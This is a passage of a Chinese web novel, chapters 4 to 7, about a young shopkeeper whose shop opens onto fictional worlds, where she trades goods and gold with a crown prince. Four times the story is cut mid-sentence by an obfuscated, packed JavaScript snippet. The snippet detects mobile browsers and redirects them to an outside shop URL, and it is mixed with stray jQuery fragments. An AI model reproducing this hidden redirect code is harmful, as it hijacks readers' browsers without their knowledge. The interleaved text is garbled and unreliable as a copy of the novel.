他叫许年华，南山的大学同学，是佳博南市分部的策划部副经理，工作内容是征集艺术品，刚好负责玉石珠宝类的。” 佳博？那是什么？ 萧妧妧不怕自己孤陋寡闻惹方爷爷笑话，特意问了是哪两个字。 搜索引擎输入名字，跳出来全称，萧妧妧才知道是佳博国际拍卖行，国内属于业内顶尖，在国际也排得上号的拍卖公司。 再看一眼名称，萧妧妧隐约想起来，她是听过佳博名号的。 在霸总小说里。 她一直以为是作者们胡编，没想到真实存在。 转念一想，如果现实世界的佳博名气不大，也不能写进小说里配合霸总们装逼啊。 名气这么大，怎么她以前没能注意到？ 萧妧妧暗暗笑自己没见过世面，收起手机，迟疑着问：“方爷爷，这么便宜的东西，能送去拍卖吗？” 印象中的拍卖会，起拍价动不动上百万千万，成交价过亿的不在少数，她手里的玉扳指不过五位数，差距过大。 方爷爷知道她是有先入为主的观念，道：“贵有贵的展，便宜有便宜的展，七万不是钱吗？别说七万，七百也能拍卖。” 萧妧妧心里直打鼓，但他们已经走近柜台，由不得她退缩。 “……兄弟，你多帮忙留意，109期的展正好在中秋，必须弄得隆重点，还有一个半月，挺急的。” “唉，陪太子读书，功劳是不敢想，别让找出错就谢天谢地了。” 方南山咦了一声，“怎么又来一个太子？我记得你刚入职那会有过一次？” 许年华摇头：“不一样，那是大太子，集团的接班人，管几个重要项目，来我们这转一圈算是认认脸，不管我们。 这回不一样，二太子空降策划部总监，我的顶头上司，你说是不是来了个祖宗？” 说起自己的新祖宗，许年华滔滔不绝。 “一个大学没毕业的毛孩子，估计是实习攒经验吧。好好做事我们累，甩手不干还是我们累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491429|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，要是太子爷惹出祸，那更完蛋。” “不能说完全没有好处吧，至少成交量上不去的时候，业务部和运营部不敢胡乱推责任，回回说我们选品不好，这谁扛得住？” 许年华唾沫横飞的时候，方玉仁站在旁边听了一耳朵，乐呵呵上前。 “小许啊，你看看这玉扳指，送你们展上拍卖够不够？” 许年华听到方玉仁的召唤，停下话头，“许叔，您可帮大忙了。” 他看到旁边的萧妧妧，又看一眼方玉仁，神情疑惑。 “哦，这是艺术品的收藏家，萧妧妧，叫她小萧吧，是我们月牙巷的老街坊了，我和南山都是看着她长大的。” 许年华听明白了，自己人。 他从柜台上借了工具套在手上，小心翼翼接过玉扳指。 萧妧妧看他动作谨慎小心，无比珍重的姿态，心虚。 玉扳指瞧着挺结实的，她没多想，一路揣在兜里，和钥匙纸巾钥匙扣等物亲密撞击。 “不错，不错，很有韵味，”他抬头，“许叔，还请您赐教，这是哪个年代的物件啊？我学艺不精，只能看出玉是有年头的，老货，雕工尤其好，至于其他，还得送去鉴定部做鉴定。” 萧妧妧心惊，小小玉扳指能看出那么多门道？ 有韵味，有年头……他是怎么看出来的？ 她跟着俯下身，凑近玉扳指，试图品味其中的韵味。 “不瞒你说，年代我不敢确定，不过有一点你说的对，它身上有一股历史的气息，很玄妙。再说雕工，我瞧着很有点像马老的风格，尤其那条龙，特别有范。” 许年华听得连连点头应和。 如果能确定是马老的作品，雕工费用恐怕都要比料子贵出一大截，且名家遗作很容易受到追捧。 何况玉扳指的用料本就不差，说不定真是个有来头的宝贝。 “成，先登记，正好我要回公司一趟，”许年华收敛喜色，转头看向萧妧妧，客气礼貌的问：“萧老师，您看是和我一起还是您委托我带过去呢？” 萧妧妧面颊爆红，四十多岁的人喊她老师，受不住。 她连连摆手，“别别别，您叫我小萧吧，玉扳指您带回去鉴定，我走不开。” 许年华从善如流，叫一声小萧，塞去自己的名片，了解玉扳指来历后，从公文包里拿出一份协议递给她。 许年华看她年纪小，懵懵懂懂的样子，猜到是第一次和拍卖行打交道，详细为她讲解佣金、鉴定费的收费标准和流程。 有方南山和方玉仁在，萧妧妧不觉得许年华会骗她，老老实实听他讲解，又得知鉴定费用在成交后结算，更放心了。 直到萧妧妧走出玉仁斋，她还晕晕乎乎回不过神。 低头，再看一眼手上的拍卖会预展邀请函。 受邀人写着她的名字，散发油墨味，是许年华现场填写的。 拍品类别里玉器为主类别，鉴定结果无误，她的玉扳指将会出现在这次预展上。 萧妧妧眨眨眼睛，一张邀请函翻来覆去。 她真的，把一枚来自异世界的玉扳指，送上拍卖行。 方爷爷的调侃又一次响在耳边。 “别看拍卖行流程多，其实比寄卖快，这回七万可打不住喽。” 不止七万…… 5. 第 5 章 萧妧妧在为即将到账的巨款目眩神迷，眼看着快到自家小卖部，冷不丁遇到了熟人。 “妧妧，这会怎么在外面呢？我说来了几回都没看见你。” 萧妧妧回神，见是老妈多年的牌友们，扬起笑脸打招呼。 提着菜篮子的崔婶问：“妧妧，你真要留下来看铺子啊？你说你一个大学生……听说电影学院学费可贵了，哎呦……怎么就回来和你爸妈一起开店了呢。” 萧妧妧仍旧笑着，“婶子，我店铺都装修好了，不走了。” 同行的赵婶插话，“留下来好，京城工作压力多大啊。我家大儿子花了八百万才在京城有个落脚地方，你们不知道，还没我们那个麻将档大呢。” 隔壁水果店的大叔插话，“现在工作不好找，回来看铺子挺好的，回头闲下来报个班，考编考公考研一手抓，总能考上一个。不难的，我家那小子三次就考上公务员了。” “老刘，还没恭喜你呢，以后可要多照顾照顾咱们老街坊啊。”赵婶听到声，笑眯眯回话。 崔婶拍了拍萧妧妧，“快回店里去，小卖部不营业怎么行，回头让你妈看见再说你几句。” 两位婶子已经和水果店的刘叔聊上，隔壁汉服租赁店的李阿姨跟着加入群聊，萧妧妧缩着脖子溜走，拐进自家小卖部。 拉开门，close挂牌翻转过来，再次营业。 萧妧妧检查货架，忙着补货，手机叮叮叮响。 【{大合照}{大合照}人生中第一部女四号戏杀青啦~拜托大家帮忙宣传宣传哈~{红包}{红包}】 【恭喜恭喜~对了，我记得妧妧不是和你一起去试镜吗？听说试的女三号，怎么没消息了？】 【恭喜萌萌杀青！PS：没消息，那肯定是没过呗。】 【萧妧妧没过？不能吧，她可是我们这一届演技最好的一批。】 【光演技好有什么用，别说啦，快抢红包~】 群聊消息一连串，萧妧妧跟着发了两个恭喜便退出来。 回来的仓促，曾经的室友同学都以为她还在为考编奋斗。 “你这女子好生无礼，孤在沐浴，你竟然……你、你这是耍流氓！” 啥玩意？ 我？耍流氓？ 猛地听到龙傲天控诉，正在整理货架的萧妧妧吓一跳。 扭头看过去，龙傲天穿着一身白色单衣，乌发披散，站在后门位置别别扭扭。 萧妧妧撇了撇嘴，穿得不挺严实的吗？ 没看到胸肌，更没看到腹肌，耍流氓的罪名她可不认。 萧妧妧严肃否认，“别胡说啊，是你自己闯进来的，怎么能倒打一耙。” 龙傲天看她狡辩，梗着脖子与她争论，“分明是你的铺子突然出现在孤的天清池，孤差点……” 差点什么，龙傲天说不出口，涨红脸瞪她。 萧妧妧不服气，刚要与他争辩个清楚，话未出口，忽而顿住。 苏娇娇来时曾问过，为何会把店铺开在死胡同里。 龙傲天第一次进店，也是怒目而视，责问她怎么会出现在寝宫。 现在倒好，直接干进人家浴室。 小卖部难道是流动小摊？ 萧妧妧坚决否认是自己的问题，反问： “我的小卖部一直开在月牙巷188号，龙先生，不如您仔细想一下，您两次走进我的小卖部前都做了什么。” 龙傲天还真让她问住了，回想一番，脸色僵硬。 “所以，并非是你的小卖部神出鬼没，而是孤不分场合的……召唤？” 龙傲天绞尽脑汁，找了一个恰当词汇形容这两次的奇遇。 “你到底做了什么？” 萧妧妧无比好奇，系统没有提过谁能进，更没提过进入的方法，她想提升客流量都无从下手。 龙傲天面色讪讪，“左转三圈，右转三圈。” 萧妧妧无语。 非要人家急得团团转的时候才能进小卖部消费，生意能好就见鬼了。 腹诽两句，萧妧妧找到客户列表，果然看见小图标上有进入方式的修改图标。 “好了，我修改了召唤方法，您只需默念一句‘阿拉霍’，小卖部就会出现。 您放心，只有您一个人能看到大门并走进来。” 念暗号不比转圈圈有逼格？神秘感直接拉满，方便客人在多种恶劣条件下召唤。 进店门槛降低，交易额翻几番不是问题。 萧妧妧打定主意，等苏娇娇再来，把她的进入方式一起改了。 龙傲天反复咀嚼怪异词汇，“阿拉霍……是咒语吗？” “是开门的意思。”她殷勤的问：“您这么快折回来，是不是落下什么东西了？” 龙傲天确保不会念错咒语，拧眉和萧妧妧搭话。 “孤已经半月不曾过来，这回是把欠你的金子补上。” 半个月来，龙傲天试过无数方法，都没能让这间诡异的小卖部再出现。 他安慰自己，仙人开的小卖部，理应来无影去无踪。 今日汤泉沐浴，巧合之下开启小卖部，龙傲天生怕错过难得的机会，挥退下人，穿上里衣冲了进来。 萧妧妧诧异，“半个月？可是我这里只过去了不到三小、时辰。” 想到龙傲天应该听不懂小时和古代时辰的换算，说到最后急忙改口。 龙傲天比她更诧异，惊疑不定的说：“莫非，这便是天上一日，人间一年？” 萧妧妧神情微窘，你们古人确实有点子封建迷信。 萧妧妧自己都没弄清楚其中规则，更不好和龙傲天解释了，惊叹一会两个世界的时间流速便没再开口。 不过和落后又封建又没有人权的古代比，说小卖部来自天上其实也没什么问题。 萧妧妧沉默的工夫，龙傲天脑补了许多。 等他回过神，想起自己此行目的，赶紧递去一匣子。 “里面是欠你的金子。” 龙傲天打开匣子，五锭饱满圆润的金元宝整整齐齐。 金光刺得萧妧妧眼睛疼，倒吸一口气，声音颤抖：“你是说，五十两的金子？” 龙傲天嗯了一声，匣子随手搁在柜台上，转而问：“姑娘贵姓，如何称呼？” 萧妧妧目不转睛盯着金元宝，抽空回他，“免贵姓萧，草木萧萧的萧，我叫萧妧妧，是小卖部的老板，叫我萧老板或者叫我妧妧都行。” 龙傲天又看她一眼，怎么天上女子如此开放，不仅穿着清凉，连名讳也随意告知。 未免冒犯她，龙傲天客气的说：“萧老板，上回的琉璃摆件我很喜欢，你这里可还有类似的物件？” 五十块换五十两金子和价值七万的玉扳指，属实有些夸张，萧妧妧正纠结退多少回去，忽听龙傲天又提起琉璃，萧妧妧反悔了。 “你要是晚几天来，我保证有你喜欢的，这会儿倒是没多少，都是我自己留着玩的，不一定符合你的要求。” 萧妧妧生怕顾客失望，以为店里拿不出好东西，下回不肯再来，多说几句解释解释。 留下一句稍等，她跑回后院房间，从家中不多玻璃制品里挑挑拣拣，取精致漂亮的几个抱出去。 “第一件，琉璃十二生肖，别看它小巧，但是精致啊，越小越难得。 第二件，琉璃花瓶，什么牡丹芍药梅花桂花，都很适合。 第三件数量有些多，一套琉璃元宝，共8件，上面的福字是烧出来的，寓意福禄双全。 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491430|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一样是琉璃鱼缸，您看，鱼缸通透又大气，鱼缸上的小猫咪栩栩如生，而且买缸送鱼。 看在您是回头客的份上，这回给您九折优惠。” 萧妧妧卖力推销，一口气说完，深呼吸，信心满满的等龙傲天做决定。 龙傲天确实被它们拿捏了，面露痴迷，一会看看这个，一会摸摸那个。 “萧老板，你说送礼物该选哪一件？” 龙傲天从不为难自己，既然喜欢那就全部都要。 至于选出其中一件当做生辰贺礼送出去，龙傲天倒纠结起来。 七弟一贯与他亲厚，下半年出宫建府，年底入朝参政，是该投其所好，送点稀罕物件拉拢拉拢，可他舍不得。 哪一件都适合当礼物，哪一件他都喜欢，难以取舍。 萧妧妧闻言，思维发散片刻，笑容逐渐消失。 她措辞一番，试探着问，“您是说，送给亲人的生辰礼？” 龙傲天挑眉，承认，“正是，萧老板如何得知？” 验证了她的猜测，萧妧妧并不见多高兴，嘴角微微抽搐，彻底失去笑容。 她是看过小说的人，能不知道剧情吗？ “不行，东西我不能卖你！” 萧妧妧张开双臂护住柜台上的东西。 万一剧情一字不落的发展下去，到时候她跳进黄河都洗不清。 她不仅知道礼物送给谁，还知道龙傲天送出去的生辰礼会被人抹上毒，遭人陷害落了个不仁不义残害兄弟的罪名。 而这一切都是龙傲天的男主亲爱的弟弟，七皇子在背后捣鬼。 这一遭后，龙傲天的太子之位摇摇欲坠。 后来老皇帝受臣子挑拨，派龙傲天统领边军反击蛮族，一场必胜的仗因种种事件输得一败涂地，最终成了大兴朝的罪人，废除太子之位。 龙傲天茫然，语气稍显急促，“为何，你是觉得孤出不起钱？说吧，这回要多少金？” 萧妧妧强忍心痛，紧闭眼眸：“不是因为价钱的事。” 龙傲天不理会她的拒绝，兀自抬价，“萧老板想卖多少？五百、六百、还是八百？便是千金，孤也给得起！” 不愧是一国储君，讨价还价的方式都和别人不一样， 那么多金子砸下来，萧妧妧理所当然的动摇了。 她总不能为了剧情，连金子都不赚了吧？ 交易系统是她的金手指。 被挑中允许进入小卖部的苏娇娇和龙傲天，以及未来可能会光顾小卖部的其他角色，对他们而言，她和小卖部不也等于是他们的金手指？ 金手指发挥一下作用，很合理吧？ 多看一眼金元宝，她果断招了招手。 等龙傲天走近些，萧妧妧挑拣了部分内容，委婉告知他。 “不可能！孤与七弟一向和睦，他怎么会……” 看他难以置信的神色，萧妧妧暗道果然如此。 “你爱信不信，事情发生了可别说我没提醒你。” 该说的说了，该做的做了，剩下不是萧妧妧能控制的，到底会发展成什么样，全看他的选择。 龙傲天沉默了，小卖部来自天上，或许真能预测未来？ 他双手负立来回踱步，片刻之后终于冷静下来。 “东西你且收好，若事情果真如你所言，孤便把它们全买下，再赏你千金，若你敢糊弄孤，哼！” 最后一声冷哼，气势慑人，萧妧妧看过无数影帝视帝演绎的帝王，所谓的演技大爆发，比不上这一刻他投射过来的警告目光。 萧妧妧扯了扯围裙，抬头挺胸，自信非常。 书里写的一清二楚，萧妧妧很有信心拿下千金。 不过，古代的千金，是多少钱啊？ 6. 第 6 章 萧妧妧龇牙傻乐，看起来倒有几分天真淳朴（憨傻老实），龙傲天拧眉观察一阵，心里拿不定主意。 两人相对而立，心思各异。 “咚！” 恰在这时，一道沉闷撞击声传来，还有一声若有似无的痛呼。 不用想，小卖部但凡有点不正常的动静，必定是那扇连接异世界的假门的缘故。 循着声，两人齐齐转头看去，雕花门大敞着，空荡荡无一物。 视线自然下移，却是意想不到的场面。 “有人受伤了！”龙傲天惊呼出声。 萧妧妧顿时警惕起来，这人恰恰好晕倒在门口，怕不是来碰瓷的吧？ 也不知道异世界开店，有没有店家承担赔偿责任的说法。 脑袋胡思乱想着，动作却不敢慢一点，赶紧跑过去扶人。 走得近了，萧妧妧推着他肩膀翻过身，白瓷砖上染了一片深红血迹，接触他衣裳的手掌传来黏糊糊的温热。 “他流这么多血会死的！”萧妧妧没见过这么多血，一下子慌了神。 龙傲天出声提醒：“去叫太医来。” 萧妧妧如梦初醒，“对对对，得去看医生。” 她扶起地上那人的半条胳膊，扭头对龙傲天说：“来搭把手，我一个人扛不动。” 龙傲天眉头一皱，迟疑一会，上前扶住另外半边胳膊。 “先扶到外面去，斜对街有个小诊所，那个最快。” 她说着话，示意龙傲天和她一起把人架出大门。 龙傲天愣了愣，步子稍稍落后。 萧妧妧察觉不对，一回头，正对上龙傲天谴责的目光。 “萧老板，你若嫌弃他弄脏你的铺子，大可放任不管，丢出去便是，为何还要扶他进店，再如此对他？” 他一通责问，萧妧妧都懵了，半张着嘴巴。 “你说什么呢，我怎么嫌弃他了？我这不是带他去看医生吗？他伤的那么重，万一死了怎么办？” 这会轮到龙傲天发懵，“你不是要撞死他？” 萧妧妧哭笑不得，在他怀疑的目光中赶紧摇头否认，无冤无仇的，撞死他做什么？ 龙傲天：“前面分明是一堵墙，你二话不说架着人冲上去，难道不是嫌他死得不彻底？” 墙？ 萧妧妧回头看向小卖部正儿八经的大门，一米五宽，干净透亮，随着他们走近，玻璃已经自动向两边滑动，欢迎光临的提示音紧跟着响起。 “怎么会是墙呢，这明明是小卖部的大门，出了门是我们这里最负盛名的历史文化街区。” 龙傲天嘟囔道：“你竟还怀疑孤！” 他大步向前，一拳头捶上去。 “别！换感应门要花两……” 千字未出口，萧妧妧已然看到了结果。 龙傲天的拳头像是遇上阻碍，硬生生停在半空。 为了证明，他又侧过身子，鼓起胳膊上的肌肉，用力顶撞玻璃门。 按照惯性，龙傲天早该摔出门外表演一个大马趴，偏偏却弹了回来。 萧妧妧放下伤患，踏着正步走到感应门正中间。 跨过去，退回来，再跨过去，再退回来。 萧妧妧恍然大悟。 她不能进入异世界，假门后面的通道在她眼里就是一堵墙。 而异世界客人同样不能进入她的世界，所以大门在龙傲天眼里也是一堵墙。 有墙好啊，有墙不用担心破次元壁。 怪她口味太杂，前些天看了好几本主角是丧尸王、兽王、大魔头的奇幻恐怖小说。 想到未来的小卖部可能迎来丧尸王顾客，萧妧妧心里忐忑的不行。 “天上的墙都这么硬？”龙傲天龇牙咧嘴地揉胳膊，“现在信了吧？孤看到的就是一堵墙。” 萧妧妧回过神，有点无语。 怕不是个傻子吧，拿件东西砸过去不是一样？非要自己撞上去。 可不得硬一点嘛，这是结界啊。 萧妧妧没解释门与墙的事，转身重新扶起伤患，指了指后门。 “你看那扇门呢？是门还是墙？”她问龙傲天。 龙傲天扭头，“门，我看到外面有个院子。” 萧妧妧放心了，总算有地方可以留下他。 两人还算轻松的把人扛到后院一间三十多平的空屋子。 萧妧妧原先留这间屋子当客房的，小卖部生意差到入不敷出的时候，客房可以变成民宿，接待游客。 把人安顿在榻榻米上，萧妧妧去库房拎来一桶矿泉水倒进盆里，又兑了半壶开水进去。 准备好水，她跑去店铺里，从货架上拿来几包棉签棉球，纱布块和医用酒精，又从后院抱来医药箱。 等她手忙脚乱地脱去他身上的藤甲，揭开粘在肌肤上的粗布衣裳，酒精湿巾擦去他手上脸上的脏污，明确有几处伤口。 萧妧妧这会才发现，不是他，是她。 再仔细一看，面容年轻，甚至有几分稚嫩，应该在十六七岁左右。 那么，她是谁？ 萧妧妧戳了戳系统，打开客户列表，一眼看过去，列表毫无变化。 难道是要交易成功才能显示身份卡？ 萧妧妧挠头，她阅文无数，尤其是找不到工作的这段时间，一时半会真分不清榻榻米上的女人来自哪一本书，是配角还是主角。 不管怎么说，先把人救醒吧。 萧妧妧不懂医术，但从她红彤彤的脸颊和异于常人的体温判断出，她在发烧。 体温计抵上额头，滴的一声，39度2，高烧。 倒出一粒退烧药喂她吃下去，碘伏酒精等冲洗伤口消毒。 萧妧妧是临时抱佛脚，从网上找的视频资料跟着学习，因此很不熟练，洒云南白药时，她隐约听到了闷哼声。 龙傲天起初是好奇，想看萧妧妧准备用什么手段救人，后来看她抱来一堆陌生玩意，一通操作，越发移不开目光，惊叹惊奇的表情从头到尾挂在脸上。 “巴掌大的那是什么？为什么里面的画会动？还有声音？” “你喂的是什么药？为何这一会工夫烧热便退了？” “这又是什么水？冲洗伤口有什么用？” “小布片是做什么的？为什么不用纱布包上？” “你洒的白粉莫非是止血的？效果竟这般好？” 萧妧妧又要看视频学操作，又要忙着照顾伤患，晕头转向。 龙傲天不仅帮不上忙，还缠着她问不停。 萧妧妧本想回一句“天上的事你少管”，话未说出，她立即改主意。 “这个是手机，我们这里独有的设备，你那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491431|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用不了，我就不仔细说了。 喂她吃下去的是退烧药，顾名思义，不需要我再多说了吧？ 后面用的是酒精消毒水，是为了清洗掉伤口里的细菌，防止感染。 你说的那个粉，叫云南白药，外敷止血药，效果很好的。 至于你说的布片，那是减张贴，也叫免缝合贴。 她的伤口很长，还有点深，其实是需要缝合的，我这里东西不多，先凑合一下，等她醒来再说。” 一口气说完，萧妧妧口干舌燥，咕嘟咕嘟喝完半瓶矿泉水。 萧妧妧见缝插针的推销商品，“这是瓶装矿泉水，方便携带，最关键的是它干净，密封包装，无毒无害。” 龙傲天看什么都新奇，萧妧妧便耐下性子为他讲解。 由不得她没耐心，如果剧情真的走到他领兵反击蛮族，药啊水啊食物什么的，多半要找她下单。 大顾客啊，赚死了，必须打广告。 萧妧妧递过去一包辣条，“喏，请你吃的。” 她拉来一张椅子坐下，大有开一个推销会的架势。 “小卖部要什么有什么，刚才看到的那些药只是一部分，酒水零食、米面蔬菜、生活必需品等等，我都能给你找来。” 龙傲天不知道听进去多少，反正一直盯着手里红彤彤、油腻腻的细长条。 看萧妧妧一口一根吃下去，便学着她一口吞。 “嘶嘶嘶……水！” 萧妧妧拧开一瓶新的矿泉水，大方的说：“我卖给别人两块钱一瓶的，今天请你了。” 龙傲天接过矿泉水，刚喝下去一口，甚至没来得及尝尝味，闻言，噗的一下全吐了出来。 “咦……”萧妧妧嫌弃地挪开位置。 龙傲天不自觉提高嗓门，“一瓶水二两银子，你怎么不去抢？” 烤肠、鸡肉串便罢了，图个新奇，一瓶水它凭什么值二两银子？ 萧妧妧一愣，糟了，忘记换算货币。 未免背上黑店的名头，萧妧妧义正言辞的辩解，“谁说是二两银子的，两块钱是我们这里的说法，如果是卖给尊贵的太子殿下，当然不能这么算。” 龙傲天要买的话，起码要八块钱一瓶！ 但是，八块钱该收多少银两呢？ 萧妧妧数学一般，哪怕现在当了老板，在算账方面也不见灵光多少。 她一手挠头，一手苦哈哈戳计算器。 已知龙傲天给的梅花银锭是十两，换算过来是300克。 古代金属提纯技术一般，不同世界之间存在不少差距，每块银锭之间应当也存在一些偏差。 萧妧妧看越算越麻烦，偷懒省事，索性把纯度因素彻底抛弃不考虑。 银的克价目前是8块左右浮动，300克银，那就是2400块。 八块钱占了其中三百分之一，那换算过去，等于是占了十两银子的三百分之一？ 比两小的单位是钱，比钱小的是什么来着？ 是这样算吗？好像哪里不对劲，好烦，要长脑子了。 不管了，再来一次。 龙傲天看她又是戳小方块，又是拿来纸笔写写画画，不一会，她又气恼地撕掉纸张，重新写下一堆陌生字符。 龙傲天看不懂她在做什么，正要出声，萧妧妧叉着腰跳起，神清气爽。 7. 第 7 章 “如果你需要的话，一箱水算你一两银子，瓶子成本高，不能再便宜了。” 萧妧妧怕定价太低，不符合龙傲天身份，回头再以为看不起他，卖给他便宜货，定价稍微有那么点虚高。 当然，不算价钱，仓库里十几箱水白送给他都不亏。 毕竟有五十两金子和玉扳指打底呢，换成人民币简直是巨款。 但东西送多了，以后还怎么正常交易？ 送的东西不算交易件数里，她的系统什么时候才能升级啊。 她暂时不清楚升级能有什么好处，但按照正常逻辑来说，升级肯定是利大于弊。 龙傲天根本不需要她费劲洗脑，尝一口，拧上盖子摇一摇，捏一捏。 “瓶子不错，可卖？” 萧妧妧：“……” 有点为难人，总不能跑去废品收购站进货吧？ “说好这瓶水请你的，喜欢瓶子大可以带走，瓶子可以反复利用。有一点需要注意，怕火。装水的瓶子不要扔进草丛林子里，容易引发山火。” 萧妧妧发现，龙傲天对清透的、亮晶晶的物品格外喜欢，比如玻璃琉璃和透明塑料瓶。 可能是他们那个朝代技术落后，见不到太多琉璃水晶一类的物件？ 趁这会脑子清明，萧妧妧顺势把其他商品算出对应的古代价格。 有矿泉水做参照，以此类推会容易很多，萧妧妧只需要把控一下，价格不是太离谱就行。 当然，这个价格是针对《傲视天下》这本书的，专供龙傲天。 如果苏娇娇需要，她得重新算。 飞快写下笼统的价格分类，啪一下贴在柜台下面只有自己能看到的地方。 龙傲天等她忙完才继续搭话。 “你刚才给那个人用的药，都给孤来一份，辣条……也来一包吧。” 其实他更眼馋手机，记着萧妧妧说手机他拿回去用不了才歇了心思。 萧妧妧有种尽在掌握中的爽感。 早猜到龙傲天会对药品感兴趣，不枉费她横飞的唾沫。 她麻利地打包东西，装在大塑料袋里递过去。 “看在你是老顾客的份上，东西算是我送你的，觉得好用下次提前预定，量大有优惠。 毕竟是药，希望你不会有用到它们的时候。” 萧妧妧这会格外大方，反正龙傲天要得不多，就当是试用装，以后总能赚回来。 主要是想收钱也不好意思，怕他反应过来，琉璃、烤肠并不值钱，换算一下，不及那十两银子的价值，那可太尴尬了。 未避免尴尬发生，影响以后赚钱计划，萧妧妧努力找补。 “不必说了，萧老板的货孤是知道的，确实不常见，为这一点，孤乐意花钱。” 萧妧妧没说两句，龙傲天沉声打断。 她轻舒一口气，随即转过弯来。 都不是傻子，龙傲天能这么说，必定是因为他不吃亏，说不定还有的赚。 龙傲天记挂着萧妧妧透露的“绝密消息”，想买的东西到手，心事重重离开。 萧妧妧呼出一口气。 她当时着急求助，没想那么多，后来一歇下来，看到龙傲天一身白色衣裳染了血迹，就怕龙傲天想起这茬要求赔衣裳。 一口气刚吐出去，目光尚未来得及移开木门，吱呀一声，龙傲天再次出现。 萧妧妧歪了歪头，看一眼他身上的衣服判断一会，问：“……这回是忘东西了？” 龙傲天神色轻松，“不，孤只是想试试咒语的效果。” 萧妧妧了然，就像她家换电子门锁，她爸妈不放心，反复试了几次。 她微笑着点点头，表示理解。 再次目送龙傲天离去，外面天色已然黯淡，夜幕降临。 萧妧妧回到客房，轻轻推开门，少女仍旧昏睡。 没有龙傲天碍事，萧妧妧果断帮她换掉身上沾满血污的衣裳，脱去看不出颜色的靴子，伤口以外的肌肤用热毛巾擦了擦，找来没穿过的睡袍凑合着套上去。 抱来空调被拉到少女肩膀位置，萧妧妧打开空调，留一盏台灯，又轻轻退了出去。 回到前面小卖部，天色彻底黑下来，路灯昏黄，树影幢幢。 萧妧妧看时间不早，点来两份外卖。 一份是自己的汉堡薯条快乐水，一份是留给客房少女的清粥小菜。 不是她抠门，病人就要吃得清淡些。 等外卖的工夫，她顺带着打扫卫生，整理店铺。 后门位置留下一滩血迹，深红，醒目，必须尽快清理。 货架上她随手拿了不少东西，乱糟糟，得赶紧补上。 一番忙碌，要紧事总算一一解决，外卖还在路上。 萧妧妧决定趁这点时间改造后门，确切的说是与后门紧邻的置景假门。 假门右边是通往院子的真门，左边是一面两米不到的大白墙，说长不长说短不短，索性没安排什么东西，留一个宽敞的走廊看得舒心。 现在不行了，大白墙既然是异世界客人进店后第一眼能看到的位置，萧妧妧便想着利用起来。 搬来的小长桌没撤，正好派上用场。 宣传广告牌搬进来，擦掉促销标语，重新写下店铺名。 想到龙傲天两次进店都是一脸懵，萧妧妧又写下小卖部初始的召唤方法。 在写下“免费修改进店口令”的字样后，小角落里补上“一次”两个字，而后在旁边写上大大的优惠两字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491432|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>广告牌虽然不够花里胡哨，但胜在意思清晰，只要进店的客人不是文盲，绝对能看得明白。 大黑板写完，萧妧妧翻出小黑板，写上“货物既出概不退换”。 对了，昏睡少女和龙傲天是古代人，看不懂她的简体字，还要想办法弄个繁体字版本。 大致装扮一下，外卖刚好送达。 萧妧妧抱着她的晚饭去柜台后的小餐桌，正要坐下吃饭，眼前金光一闪。 抬头看向金光，她懊恼地拍了拍脑门。 瞧她糟糕的记性，怎么能把金元宝给忘了！ 萧妧妧一时顾不上吃饭，乐滋滋地捧来匣子。 拿在龙傲天手里平平无奇，就一黄色小木匣，没有雕刻更不见镶嵌什么螺钿。 萧妧妧当时一心惦记金元宝，木匣子不入眼，这回放在灯光下再看，只觉得匣子亮眼的很。 刚才闪到她眼睛的金光便是匣子本身发出。 木匣到底比不上金元宝，萧妧妧上下欣赏一会，果断打开，捏出一锭元宝握在手心里。 真沉啊。 匣子不算小，里面却只放了五锭元宝，十两算一锭。 萧妧妧想起梅花银锭，心头一跳，忙不迭找来电子小称。 显示屏上数字跳动，很快停下，是300.2克。 剩下的金锭依次秤重，最大的差距不超过0.1克，五锭金元宝共计是…… 1500.6克！ 萧妧妧倒吸一口凉气，随即一阵猛咳。 一边咳，她一边打开手机查询今日金价，再跳转到计算器。 “个、十、百、千、万、十万……” 卧槽！ 萧妧妧一个后仰。 呆了足足有一分钟，拿起手机贴在面前。 “个、十、百、千、万、十万……” 